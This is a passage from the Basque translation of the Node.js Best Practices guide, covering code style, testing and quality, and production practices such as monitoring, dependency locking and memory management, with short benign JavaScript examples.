(StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ![✔] 3.4 Bereizi instrukzioak modu egokian\n\nEz dio axola instrukzioak bereizteko puntu eta koma erabiltzen duzun edo ez, ohiko lerro jauzi okerrak edo koma txertatze automatikoak ezagutzeak lagundu egingo dizu ohiko errore sintaktikoak ez egiten\n\n**TL;PL:** erabili ESLint bereizketetan izaten diren erroreez jabetzeko. [Prettier](https://prettier.io/) edo [Standardjs](https://standardjs.com/) erabiliz automatikoki konpon ditzakezu arazo horiek\n\n**Bestela:** aurreko atalean esan bezala, JavaScripteko interpreteak automatikoki “puntu eta koma” gehitzen du instrukzio baten amaieran “puntu eta koma”rik ez badago edo instrukzioa behar den tokian ez dela amaitu eta horrek okerreko emaitzak eragin ditzakeela pentsatzen badu. Ustekabeko errore gehienak ekiditeko, esleipenak erabil ditzakezu eta, horrela, berehala deitutako funtzio adierazpenak erabiltzea saihestuko duzu\n\n### Kode Adibidea\n\n```javascript\n// Egin\nfunction eginZerbait() {\n    // ...\n}\n\neginZerbait()\n\n// Egin\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// Baztertu — salbuespen bat jaurtitzen du\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> [...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// egin zerbait — salbuespen bat jaurtitzen du\nconst count = 2 // 2() burutzen saiatzen da, baina 2() ez da funtzio bat\n(function egin zerbait() {\n  // egin zerbait paregabea\n}())\n// jarri puntu eta koma berehala deitutako funtzioa baino lehen, const definizioaren ostean, funtzio anonimoak bueltatutako balioa aldagarri batean gorde edo baztertu IIFE guztiak\n```\n\n🔗 [**Informazio gehiago:** \"Semi ESLint araua\"](https://eslint.org/docs/rules/semi)\n🔗 [**Informazio gehiago:** \"Ez dago ustekabeko ESLint arau lerroaniztunik\"](https://eslint.org/docs/rules/no-unexpected-multiline)\n\n<br/><br/>\n\n## ![✔] 3.5 Izendatu funtzio guztiak\n\n**TL;PL:** izendatu funtzio guztiak, itxierak eta deiak. Saihestu funtzio anonimoak. Hau bereziki erabilgarria da node aplikazio bat profilatzerakoan. Funtzio guztiak izendatzeak memoria argazkia egiaztatzean aukera emango dizu zer bilatzen ari zaren ulertzen\n\n**Bestela:** zaila izan liteke ekoizpen arazoak araztea memoria erregistroak erabiliz (memoria argazkia), funtzio anonimoetako memoria kontsumoa handia denean\n\n<br/><br/>\n\n## ![✔] 3.6 Erabili izen deskriptiboak aldagaiak, konstanteak, funtzioak eta klaseak izendatzeko\n\n**TL;PL:** Erabili **_lowerCamelCase_** konstanteak, aldagaiak eta funtzioak izendatzean eta **_UpperCamelCase_** (maiuskulazko lehen letra ere) klaseak izendatzean. Horrek lagunduko dizu aldagai/funtzio arruntak eta instantziazioa behar duten klaseak erraz bereizten. Erabili izen deskriptiboak, baina saiatu laburrak izan daitezen\n\n**Bestela:** Javascript munduko hizkuntza bakarra da eraikitzailea (\"Klasea\") zuzenean deitzea ahalbidetzen duena aurretik eskatu/instantziatu gabe. Horrenbestez, klaseak eta funtzio eraikitzaileak bereizten dira UpperCamelCase-tik hasita\n\n### 3.6 Kode eredua\n\n```javascript\n// funtzioa izendatzeko UpperCamelCase erabiltzen dugu\nclass KlaseBatenAdibidea {}\n\n// konstanteak izendatzeko const hitz gakoa eta lowerCamelCase erabiltzen ditugu\nconst config = {\n  key: \"balioa\",\n};\n\n// aldagaiak eta funtzioak izendatzeko lowerCamelCase erabiltzen dugu\nlet aldagaiBatenAdibidea = \"balioa\";\nfunction eginZerbait() {}\n```\n\n<br/><br/>\n\n## ![✔] 3.7 Aukeratu const, let ordez. Ez erabili var\n\n**TL;PL:** `const` erabiltzeak esan nahi du behin aldagai bat esleituta ezin dela berriro esleitu. Beraz, erabilera desberdinetarako aldagai bakarra erabiltzeko joera baztertzen lagunduko dizu `const` erabiltzeak, bai eta kodea garbitzen ere. Aldagai bat behin baino gehiagotan esleitu behar baduzu –for begizta batean, adibidez– erabili `let`, garbiagoa da eta. Leten beste alderdi garrantzitsu bat da definitu duzun blokearen eremuan bakarrik eskura dezakezula deklaratutako aldagia. `var` funtzioen eremukoa da, ez blokearena, eta [ez da ES6n erabili behar](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70), `const` eta `let` erabiltzeko aukera duzu eta\n\n**Bestela:** arazketa askoz ere astunagoa da, maiz aldatzen den aldagai baten jarraipena egitean\n\n🔗 [**Informazio gehiago: JavaScript ES6 +: var, let, edo const?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 Erabili moduluak lehenengo, barne funtzioen partez\n\n**TL;PL:** moduluak fitxategi bakoitzaren hasieran erabili behar dira, edozein funtzioren aurretik eta kanpo. Praktika on eta sinple honek lagunduko dizu fitxategiaren menpekotasunak erraz eta azkar atzematen haren eskuineko goi aldean, baita arazo posible batzuk ekiditen ere\n\n**Bestela:** Node.jsk aldi berean exekutatzen ditu require-ak. Funtzio batek dei egiten badie, egoera kritikoago batean dauden beste eskaera batzuk blokea daitezke. Gainera, deitutako moduluetako batek edo haren menpeko ataza batek errore bat izanez gero, komeni da lehenbailehen haren berri jakitea, eta agian ezingo da hori egin, modulu horri funtzio batek deitzen badio\n\n<br/><br/>\n\n## ![✔] 3.9 Inportatu moduluak karpetaka eta ez artxiboak zuzenean\n\n**TL;PL:** modulua/liburutegia karpeta batean garatzean, sartu index.js fitxategia, moduluaren barruko osagarriak agerian jarri eta erabiltzaile guztiek bertara joko dute eta. Hori eginez gero, moduluaren 'interfaze' gisa lan egiten du, eta geroago egin beharreko aldaketak errazten ditu kontratua hautsi gabe\n\n**Bestela:** fitxategien barne egitura edo sinadura aldatzeak erabiltzaileen interfazea apur dezake\n\n### 3.9 Kodea adibidea\n\n```javascript\n// Egin\nmodule.exports.SMSProvider = require(\"./SMSProvider\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver\");\n\n// Baztertu\nmodule.exports.SMSProvider = require(\"./SMSProvider/SMSProvider.js\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver/SMSNumberResolver.js\");\n```\n\n<br/><br/>\n\n## ![✔] 3.10 Erabili `===` eragilea\n\n**TL;PL:** hobetsi berdintasunaren eragile zorrotza `===` berdintasun abstraktuaren eragile ahulagoa baino `==`. `==` eragileak bi aldagai alderatuko ditu, behin aldagai arrunt bihurtu ondoren. `===` eragileak ez du aldagai motaren bihurketarik egiten, eta bi aldagaiek mota berekoak izan behar dute berdinak izateko\n\n**Bestela:** `==` eragileak, berdinak ez diren aldagaiak alderatuz gero, berdinak direlako mezua helaraz dezake\n\n### 3.10 Kode adibidea\n\n```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\nAurreko azalpen guztiak faltsuak izango lirateke `===` eragilea erabili izan balitz\n\n<br/><br/>\n\n## ![✔] 3.11 Erabili Async Await, ekidin callbackak\n\n**TL;PL:** Node 8 LTS erabat bateragarria da orain Async-awaitekin, eta, horrela kode asinkronikoa kudeatzeko aukera ematen du, callbackik eta agintzarik erabili gabe. Async-awaitek ez du blokeorik eragiten, eta kode asinkronikoak sinkroniko bihurtzen ditu. Zure kodeari egin ahal diozun oparirik onena async-await erabiltzea da, eskaintzen duen kode sintaxia askoz ere trinkoagoa eta ezagunagoa da eta\n\n**Bestela:** gaizki pasatu eta infernura joateko biderik azkarrena hartu nahi baduzu, erabili callbackak errore asinkronoak kudeatzeko, seguruenik, infernura joateko biderik azkarrena aukeratuko duzu. Estilo honek gune guztietako erroreak egiaztatzera behartzen du, eta, gainera, kode habiaratze beti deserosoaren kudeaketa eta kode fluxua ulertzea zailtzen du\n\n🔗[**Informazio gehiago:** async-await 1.0ren gida](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 Erabili gezi funtzioak (=>)\n\n**TL;PL:** agintzak eta callbackak onartzen dituzten API zaharrekin async-await erabiltzea eta funtzio parametroak ekiditea gomendarria bada ere, gezi funtzioek kodearen egitura trinkotu egiten dute eta erro funtzioaren testuinguru lexikoa bermatu (hau da, `this`)\n\n**Bestela:** (ES5 funtzioetan) kode luzeek erroreak izateko joera handiagoa dute, eta, gainera, irakurtzeko astunak dira\n\n🔗 [**Informazio gehiago: gezi funtzioak erabiltzeko garaia da**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#edukien-aurkibidea\">⬆ Itzuli hasierara</a></p>\n\n# `4. Probak eta kalitate orokorra`\n\n## ![✔] 4.1 Idatzi APIaren probak (osagaia), gutxienez\n\n**TL;PL:** proiektu gehienei ez zaie proba automatikorik egiten denbora gutxian egiten direlako edo, maiz, 'proba proiektua' kontroletik kanpo geratu eta bertan behera uzten delako. Hori dela eta, lehentasuna eman API probei eta hasi beraiek egiten; izan ere, hori da idazteko erarik errazena eta, gainera, proba unitarioek baino estaldura handiagoa eskaintzen dute; are gehiago, API probak sor ditzakezu, [Postman](https://www.getpostman.com/) bezalako tresnak erabiliz. Ondoren, baliabide eta denbora gehiago edukiz gero, jarraitu proba aurreratuak egiten, hala nola proba unitarioak, datu baseen probak, errendimendu probak, etab.\n\n**Bestela:** luzaroan aritu zintezke proba unitarioak idazten, azkenean soilik %20ko estaldura lortu duzula jakiteko\n\n<br/><br/>\n\n## ![✔] 4.2 Erabili 3 zati proba izen bakoitzean\n\n**TL;PL:** proba adierazgarria izan behar da eskakizunen mailan, barne kodearekin lan egiten ohituta ez dauden QAko ingeniariek eta garatzaileek berez eta erraz uler dezaten. Probaren izenean adierazi zer ari den probatzen (probapean dagoen unitatea), zer egoeratan eta zer emaitza espero den\n\n**Bestela:** inplementazio batek huts egin du, “Gehitu produktua“ izeneko proba batek huts egin du. Esaten dizu horrek zehazki zer dabilen gaizki?\n\n🔗 [**Informazio gehiago: erabili 3 zati proba izen bakoitzean**](./sections/testingandquality/3-parts-in-name.basque.md)\n\n<br/><br/>\n\n## ![✔] 4.3 Egitura probak AAA ereduaren arabera\n\n**TL;PL:** egituratu zure probak ondo bereizitako 3 ataletan: antolatu, aritu eta baieztatu (AAA). Lehenengo atalean probaren konfigurazioa egin behar da; ondoren proba egikaritu behar da; eta, azkenik, baieztapen fasea dator. Egitura horri jarraitzeak bermatzen du irakurleak garuneko PUZik ez gastatzea proba plana ulertzen\n\n**Bestela:** kode nagusia ulertzen egunero orduak eta orduak pasatzeaz gainera, orain zure garuna trebatzen pasatzen duzu bestela eguneko zatirik lasaiena izan behar zuena (probak)\n\n🔗 [**Informazio gehiago: egitura probak AAA ereduaren arabera**](./sections/testingandquality/aaa.basque.md)\n\n<br/><br/>\n\n## ![✔] 4.4 Antzeman kodeko arazoak linter bat erabiliz\n\n**TL;PL:** erabili kode linterra oinarrizko kalitatea egiaztatzeko eta antiereduak garaiz atzemateko. Exekutatu edozein proba baino lehen eta gehitu aurre-commit-a git kako moduan, edozein arazo berrikusteko eta zuzentzeko behar den denbora minimizatu ahal izateko. Era berean, egiaztatu [3. atala](#3-kode-estiloa), kodearen estilo praktikei dagokienez\n\n**Bestela:** kode antiereduren bat zuzendu gabe utz dezakezu, zure ekoizpen ingurunean ahula izan litekeena\n\n<br/><br/>\n\n## ![✔] 4.5 Saihestu datu globalak, gehitu datu pertsonalizatuak proba bakoitzean\n\n**TL;PL:** probak akopla daitezen ekiditeko eta proben fluxuari buruz erraz arrazoitzeko, proba bakoitzak bere datu baseko lerroen multzoan lan egin beharko luke. Proba batek datu baseko datu batzuk ba ote diren jakin nahi duenean edo haien beharra duen bakoitzean, berariaz erantsi behar dira datu horiek eta eragotzi beste erregistroren bat mutatzea\n\n**Bestela:** probek huts egin dutela eta, inplementazioa bertan behera utzi beharra izan duzula pentsatu. Egoera horretan, lan taldeak denbora asko pasatuko du porrotaren zergatiak aztertzen, azkenean, ondorio tamalgarri honetara iristeko: sistema ondo dabil; probek, ordea, elkarri eragiten diote eta egitura hausten dute\n\n🔗 [**Informazio gehiago: saihestu datu globalak**](./sections/testingandquality/avoid-global-test-fixture.basque.md)\n\n<br/><br/>\n\n## ![✔] 4.6 Etengabe ikuskatu menpekotasun ahulak\n\n**TL;PL:** Express bezalako menpekotasun ospetsuenek ere ahultasun ezagunak dituzte, erraz gaindi daitezkeenak tresna komunitarioak eta komertzialak erabiliz, esaterako 🔗 [npm auditoria](https://docs.npmjs.com/cli/audit) eta 🔗 [snyk.io](https://snyk.io), zure CItik dei ditzakezunak konpilazio bakoitzean\n\n**Bestela:** zure kodeak ahultasunik ez izatea lortzeko tresna dedikaturik erabili gabe, etengabe begiratu beharko duzu mehatxu berriei buruz onlinen zer argitaratzen den eta haren jarraipena egin\n\n<br/><br/>\n\n## ![✔] 4.7 Etiketatu zure probak\n\n**TL;PL:** egin beharreko probak desberdinak dira eszenatokiaren arabera; ke lasterrak, input-output gabekoak, garatzaileek artxibo bat gorde edo commit egiten dutenean erabiltzen diren testak, hasieratik amaierarainoko test erabatekoak presio eskaera berri bat bidaltzen denean egikaritzen direnak, etab. Hori lor daiteke #cold #api #sanity bezalako gako hitzak erabiliz probak etiketatzean, aukera izan dezazun zure proba tresnak erabiltzeko eta behar duzun azpimultzoari deitzeko. Adibidez, honela deitu ahal izango zenioke zentzutasun proba multzoari [Mocha](https://mochajs.org/) erabiliz: mocha --grep 'sanity'\n\n**Bestela:** garatzaile batek aldaketa txiki bat egiten duen bakoitzean oso motela izan daiteke proba guztiak exekutatzea, datu baseak kontsultatzen dituzten probak barne. Horrelako kasuetan, garatzaileei etsigarria gertatuko zaie probak egitea\n\n<br/><br/>\n\n## ![✔] 4.8 Egiaztatu zure proben estaldura, proba eredu okerrak identifikatzen laguntzen du eta\n\n**TL;PL:** [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc) bezalako estaldura tresnak oso aproposak dira 3 arrazoirengatik: dohainik dira, hau da, ez da lanik egin behar txostenak lortzeko; proben estaldura gutxitu den identifikatzen laguntzen dute; eta, azkenik, baina ez garrantzi txikiagokoa, proben desdoikuntzak agerian jartzen dituzte. Koloretako kode estalduraren txostenak aztertzean, baliteke harrapaketa kapsula moduan sekula testatzen ez diren kode arloak ikustea, adibidez. Horrek esan nahi du probek bide arrakastatsuak besterik ez dituztela atzematen eta ez aplikazioak nola jokatzen duen erroreak gertatzen direnean. Konfiguratu zure probak estaldura maila batetik behera jaisten denean erroreak eragiteko\n\n**Bestela:** ez da inolako neurgailu automatizaturik egongo zure kodearen zati handi bat proben estalduratik kanpo dagoela esango dizuna\n\n<br/><br/>\n\n## ![✔] 4.9 Ikuskatu pakete zaharkituak\n\n**TL;PL:** erabili zure tresnarik gogokoena (adibidez, 'npm outdated' edo [npm-check-updates](https://www.npmjs.com/package/npm-check-updates) zaharkituta dauden paketeak atzemateko, ezarri kontrol hau zure IEren bideetan eta, are gehiago, eragin konpilazio batek huts egitea ingurune kritikoetan. Adibidez, agertoki kritikoa izan daiteke instalatutako pakete batek 5 adabaki baieztatuak dituenean (adibidez, bertsio lokala 1.3.1 da eta biltegi bertsioa 1.3.8) edo haren egileak zaharkitu etiketa jarri dionean. Kasu horretan, ezabatu konpilazioa eta ekidin bertsio hori erabiltzea\n\n**Bestela:** modu esplizituan arriskutsutzat etiketatuta dauden paketeak egikarituko ditu zure produkzioak\n\n<br/><br/>\n\n## ![✔] 4.10 Erabili production bezalako inguruneak e2e probetarako\n\n**TL;PL:** zuzeneko datuak erabiltzen dituen hasieratik amaierarainoko proba (e2e) lehen IEren prozesuko katebegirik ahulena izaten zen, datu baseak bezalako zerbitzu astun askoren menpean dago eta. Erabili zure ekoizpen errealetik ahalik eta hurbilen dagoen ingurunea\n\n**Bestela:** docker-compose erabili ezean, taldeek ingurune bakoitzeko proben datu baseak mantendu behar izaten dituzte, garatzaileen makinak barne. Mantendu beti datu base horiek sinkronizatuta, proben emaitzak alda ez daitezen ingurune batetik bestera\n\n<br/><br/>\n\n## ![✔] 4.11 Eguneratu probak aldizka analisi estatikoko tresnak erabiliz\n\n**TL;PL:** analisi estatikoko tresnak erabiltzeak lagundu egiten dizu kodearen kalitatea hobetzeko modu objektiboak lortzen eta zure kodea jasangarri izaten. Analisirako tresna estatikoak gehitu ahal dizkiozu zure IE konpilazioari, huts egingo duen susmoa duzuenean. Estaldurari dagokionean, bere aldeko puntu nagusiak dira kalitatea ikuskatzeko gaitasuna dutela fitxategi anitzen testuinguruan (adibidez, bikoizketak atzematea), azterketa aurreratuak egitea (adibidez, kodearen konplexutasuna hautematea), eta kode arazoen historiaren eta aurrerapenaren jarraipena egitea. Horretarako, bi tresna hauek erabil ditzakezu: [Sonarqube](https://www.sonarqube.org/) (2.600+ [izar](https://github.com/SonarSource/sonarqube)) eta [Code Climate](https://codeclimate.com/) (1.500+ [izar](https://github.com/codeclimate/codeclimate))\n\n**Bestela:** kodearen kalitatea txarra denean, erroreek eta errendimenduak beti emango dituzte arazoak, azken belaunaldiko ezaugarriak dituen liburutegi berri distiratsu batek ere konpontzerik izango ez dituenak\n\n🔗 [**Informazio gehiago: berregituratu!**](./sections/testingandquality/refactoring.basque.md)\n\n<br/><br/>\n\n## ![✔] 4.12 Aukeratu arretaz zure IE plataforma (Jenkins vs CircleCI vs Travis vs gainerako mundua)\n\n**TL;PL:** zure integrazio jarraituaren plataformak (CICD) kalitateko tresna guztiak (adib. testak, lintak) ostatatu behar ditu, eta, beraz, indartsua izan beharko du bere pluginen ekosistemak. Aspaldian [Jenkins](https://jenkins.io/) proiektu askoren balio lehenetsia izan ohi zen, komunitaterik handiena eta oso plataforma indartsua baititu, ordainetan konfigurazio konplexu samarra eta ikaste kurba pikoa baditu ere. Gaur egun, askoz errazagoa da IE irtenbide bat sortzea [CircleCI](https://circleci.com) eta haren antzeko SaaS tresnak erabiliz. Tresna horiek IE hodi malgu bat sortzea ahalbidetzen dute azpiegitura osoa kudeatzeko zama hartu beharra izan gabe. Azken batean, sendotasuna eta abiaduraren arteko oreka lortzea da kontua. Egin zure aukera arretaz\n\n**Bestela:** hornitzaile espezializatu bat aukeratzeak blokeatu zaitzake, pertsonalizazio aurreratu bat behar duzunean. Bestalde, Jenkins erabiltzeak denbora asko eska dezake azpiegitura konfiguratzean\n\n🔗 [**Informazio gehiago: aukeratu IE plataforma**](./sections/testingandquality/citools.basque.md)\n\n<br/><br/>\n\n## ![✔] 4.13 Probatu zure middlewareak eurak bakarrik\n\n**TL;PL:** middlewareak eskaera askori erantzuten dion logika sendo bat duenean, merezi du middlewarea probatzea bera bakarrik, web esparru osoa aktibatu gabe. Hori erraz lor daiteke {req, res, next} objektuak atzemanez eta behatuz\n\n**Bestela:** middleware Expressean === errorea izanez gero, errorea gertatuko zaizu eskaera guztietan edo gehienetan\n\n🔗 [**Informazio gehiago: probatu zure middlewareak eurak bakarrik**](./sections/testingandquality/test-middlewares.basque.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#edukien-aurkibidea\">⬆ Itzuli hasierara</a></p>\n\n# `5. Ekoizpena`\n\n## ![✔] 5.1. Monitorizazioa\n\n**TL;PL:** bezeroek baino lehenago arazoak aurkitzeko joku bat da monitorizazioa. Jakina, garrantzi handia eman behar zaio. Merkatua eskaintzez gainezka dago, eta, beraz, komeni zaizu zehazten hastea zeintzuk diren hartu behar dituzun oinarrizko neurriak (hemen dituzu nire iradokizunak); ondoren, pentsatu zer neurri osagarri ezarri behar dituzun; eta, azkenik, aukeratu hipotesi guztiak kontuan hartzen dituen soluzioa. Egin klik soluzioen ikuspegi orokorra izateko\n\n**Bestela:** hutsegitea === bezero zapuztuak\n\n🔗 [**Informazio gehiago: monitorizazioa!**](./sections/production/monitoring.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.2. Gardentasuna handitu erregistratze plataforma adimendunak erabiliz\n\n**TL;PL:** erregistroak arazketa adierazpen hutsalen biltegia izan daitezke edo zure aplikazioaren historia kontatzen duen aginte mahai praktikoa. Planifikatu zure erregistratze plataforma lehenengo egunetik: hau da, nola bildu, gorde eta aztertuko dituzun erregistroak, nahi duzun informazioa benetan eskura daitekeela bermatzeko (adibidez, zein den errore tasa, zerbitzu eta zerbitzarien bidez transakzio oso bat egin ondoren, eta abar)\n\n**Bestela:** kutxa beltz batekin amaituko duzu, eta zaila izango zaizu han jasotako ezarpenen zergatia aurkitzea. Azkenean, erregistro adierazpen guztiak idazten hasiko zara informazio osagarria gehitzeko\n\n🔗 [**Informazio gehiago: gardentasuna handitu erregistratze plataforma adimendunak erabiliz**](./sections/production/smartlogging.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.3. Delegatu ahal den guztia alderantzizko proxy batean (adibidez, gzip, SSL)\n\n**TL;PL:** Node izugarri txarra da PUZen zeregin intentsiboak egiten, esate baterako, gzipping, SSL termination. Haien partez benetako middleware zerbitzuak erabili behar dituzu –hala nola nginx eta Haproxy–\nedo hornitzaileen lainoko zerbitzuak\n\n**Bestela:** zure hari bakarra lanpetuta egongo da azpiegitura lanak egiten, zure aplikazioaren guneari kasu egin beharrean, eta, ondorioz, haren errendimenduak behera egingo du\n\n🔗 [**Informazio gehiago: delegatu ahal den guztia alderantzizko proxy batean (adibidez, gzip, SSL)**](./sections/production/delegatetoproxy.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.4. Blokeatu menpekotasunak\n\n**TL;PL:** zure kodeak berdin-berdina izan behar du ingurune guztietan, baina harrigarria bada ere npm lehenetsita dago menpekotasunei ingurune batetik bestera pasatzen uzteko. Instalatzen dituzunean paketeak hainbat ingurunetan, paketeen azken bertsioa eskuratzen saiatzen da. Hori saihesteko, erabili npm edo .npmrc konfigurazio artxiboak, ingurune bakoitzean dagokion paketearen zein bertsio zehatz (eta ez derrigorrez berriena) komeni zaizun adieraziko dizu eta. Bestela, kontrola fintze aldera, erabili `npm shrinkwrap`. \\*Eguneratzea: NPM5 bertsiotik aurrera, menpekotasunak defektuz blokeatzeko konfiguratuta dator. Yarn pakete kudeatzaile berria ere lehenetsita dago horrela lan egiteko\n\n**Bestela:** QAk kodea xeheki probatuko du eta onartuko duen bertsioak desberdin jokatuko du produkzioan. Are okerrago, produkzio talde bereko zerbitzarien kodeak desberdinak izan litezke\n\n🔗 [**Informazio gehiago: blokeatu menpekotasunak**](./sections/production/lockdependencies.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.5. Babestu prozesuaren erabilgarritasuna tresna egokiak erabiliz\n\n**TL;PL:** prozesuak huts eginez gero, aurrera egin eta berrabiarazi beharra dago. Egoera arruntetan, nahikoak izan daitezke PM2 bezalako prozesuak kudeatzeko tresnak, baina gaur egungo mundu ”docker”-izatuan, taldeak kudeatzeko tresnak ere kontuan hartu behar dira\n\n**Bestela:** estrategia argirik gabe dozenaka eskaera exekutatzeak DevOpsa nahaste-borrastera eraman dezake, hartarako aldi berean tresna gehiegi (talde kudeaketa, dockerra, PM2) erabiliz gero\n\n🔗 [**Informazio gehiago: babestu prozesuaren erabilgarritasuna tresna egokiak erabiliz**](./sections/production/guardprocess.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.6. Erabili PUZeko nukleo guztiak\n\n**TL;PL:** Noderen oinarrizko bertsioa PUZeko nukleo bakar batean exekutatzen da, eta beste nukleo guztiak geldi geratzen dira. Beharrezkoa da Noderen prozesua erreplikatzea PUZ guztiak erabiliz: aplikazio txiki eta ertainekin, Node Cluster edo PM2 erabil dezakezu; aplikazio handi samarrekin, berriz, saiatu erabiltzen Docker tankerako talderen bat (adibidez, K8S, ECS) edo Linux hasieratze sisteman oinarritutako garatze idazkerak (adibidez, systemd)\n\n**Bestela:** seguruenik, zure aplikazioak erabilgarri dituen baliabideen %25a besterik ez du erabiltzen (!), edo gutxiago, agian. Kontuan izan ohiko zerbitzariek gutxienez lau nukleo dituztela PUZen, eta Node.jsren garatzaile soilak bat bakarra erabiltzen duela (AWS beanstalk bezalako PaaS zerbitzuekin lan egiten duenean ere)\n\n🔗 [**Informazio gehiago: erabili PUZeko nukleo guztiak**](./sections/production/utilizecpu.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.7. Sortu ‘mantentze lanen amaiera puntua‘\n\n**TL;PL:** API seguru batean, jarri agerian sistemarekin lotutako informazio multzo bat, hala nola, memoriaren erabilera eta REPL, etab. Nahiz eta gomendagarria den proba estandarretan eta tresna arruntetan oinarritzea, zenbait informazio eta eragiketa baliotsu errazago egiten dira kodea erabiliz\n\n**Bestela:** konturatuko zara “diagnostiko-inplementazio“ asko egiten ari zarela, eta kodea produkziora bidaltzen duzula soilik informazioa lortzeko diagnostikoa egite aldera\n\n🔗 [**Informazio gehiago: sortu ‘mantentze lanen amaiera puntua‘**](./sections/production/createmaintenanceendpoint.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.8. Aurkitu erroreak eta geldialdiak APM produktuak erabiliz\n\n**TL;PL:** aplikazioen jarraipen eta errendimendu produktuek (APM deritzona) modu proaktiboan neurtzen dituzte kode basea eta APIa, modu automatikoan ohiko jarraipenetik haratago joateko eta erabiltzaileen esperientzia arrunta zerbitzu eta maila guztietan neurtzeko. Adibidez, APM produktu batzuek agerian jarri dezakete azken erabiltzaileen aldean motelegi kargatzen dela transakzio bat, sakoneko arrazoia iradokitzen duten bitartean\n\n**Bestela:** APIaren errendimendua eta geldialdiak neurtzeko ahalegin handia egin zenezake, eta, ziurrenik, ez zinateke jabetuko zein diren zure kodearen atalik motelenak mundu errealeko eszenatokian eta nola eragiten dioten zure erabiltzaile esperientziari\n\n🔗 [**Informazio gehiago: aurkitu erroreak eta geldialdiak APM produktuak erabiliz**](./sections/production/apmproducts.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.9. Prestatu zure kodea ekoizpenerako\n\n**TL;PL:** programatu helburua kontuan izanik; planifikatu produkzioa lehenengo egunetik hasita. Horrek lausoa eta zehazgabea ematen duenez, produkzioaren mantentzeari estu-estu lotuta dauden garatze aholku batzuk bildu ditut (egin klik hemen behean dagoen Gist estekan)\n\n**Bestela:** IT / DevOps arloko munduko txapeldun batek ere ez du salbatuko gaizki idatzita dagoen sistema\n\n🔗 [**Informazio gehiago: prestatu zure kodea ekoizpenerako**](./sections/production/productioncode.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.10. Neurtu eta babestu memoriaren erabilera\n\n**TL;PL:** Node.jsk harreman gatazkatsuak ditu memoriarekin: v8 motorrak muga leunak dauzka memoria erabiltzean (1,4 GB) eta ezaguna da zein bidetatik galtzen duen Noderen kodeak memoria. Beraz, ezinbestekoa da Noderen prozesu memoriari erreparatzea. Aplikazio txikietan memoria aldizka neur dezakezu geruza komandoak erabiliz; baina aplikazio ertainetan eta handietan aztertu beharko zenuke ez ote zaizun komeni zure memoria erlojua kontrol sistema sendo baten erara erabiltzea\n\n**Bestela:** zure memoria prozesuak 100 bat megabyte gal dezake egunean, [Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak)-i gertatu zitzaion bezala\n\n🔗 [**Informazio gehiago: neurtu eta babestu memoriaren erabilera**](./sections/production/measurememory.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.11. Atera zure frontend modulu aktiboak Nodetik\n\n**TL;PL:** prestatu frontend edukia middleware dedikatu bat erabiliz (adibidez, nginx, S3, CDN), zeren Noderen errendimenduak behera egiten baitu artxibo estatiko askorekin lan egiten duenean, bera azpiprozesu bakarrekoa da eta\n\n**Bestela:** Node eduki dinamikoa eskaintzeko sortu zen arren, haren hari bakarra lanpetuta egongo da html / images / angular / react erako ehunka fitxategi bidaltzen, bera egiteko sortua izan zen zereginei esleitu barik bere baliabide guztiak\n\n🔗 [**Informazio gehiago: atera zure frontend/interfazeko modulu aktiboak Nodetik**](./sections/production/frontendout.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.12. Izan aberrigabea, hil zerbitzariak ia egunero\n\n**TL;PL:** gorde edozein datu mota (adibidez, erabiltzaile saioak, cacheak, kargatutako fitxategiak) kanpoko datu biltegietan; eta aztertu ez ote zenituzkeen zure zerbitzari guztiak aldian behin “hil” beharko edo “zerbitzaririk gabe”ko plataformaren bat erabili (adibidez, AWS Lambda), berariaz aberrigabe (stateless) jokaera duena\n\n**Bestela:** zerbitzari jakin batek huts eginez gero, makina akastun bat hil beharrean, aplikazioen geldialdia eragingo du. Gainera, gero eta zailagoa izango da mailaketaren elastikotasuna, zerbitzari jakin baten menpeko izanda\n\n🔗 [**Informazio gehiago: izan aberrigabea, hil zerbitzariak ia egunero**](./sections/production/bestateless.basque.md)\n\n<br/><br/>\n\n## ![✔] 5.13. Erabili menpekotasunak automatikoki atzematen dituzten tresnak\n\n**TL;PL:** menpekotasun ezagunenek ere –Express, adibidez– badituzte (noizean behin) ahulezia ezagunak, sistema arriskuan jar ditzaketenak. Horrek konponbide erraza du, ordea, tresna komunitario eta komertzialak erabiliz gero, ahuleziak etengabe kontrolatu eta haien berri ematen dute eta (bertan edo GitHub-en)\n\n**Bestela:** zure kodea ahulezia eta zaurgarritasunetatik garbi mantentzeko tresna dedikaturik gabe, jarraipen estua egin beharko diezu mehatxu berriei buruz linean egiten diren argitalpenei, bide batez esanda, aspergarri samarra izaten dena\n\n🔗 [**Informazio gehiago: erabili menpekotasunak automatikoki atzematen dituzten 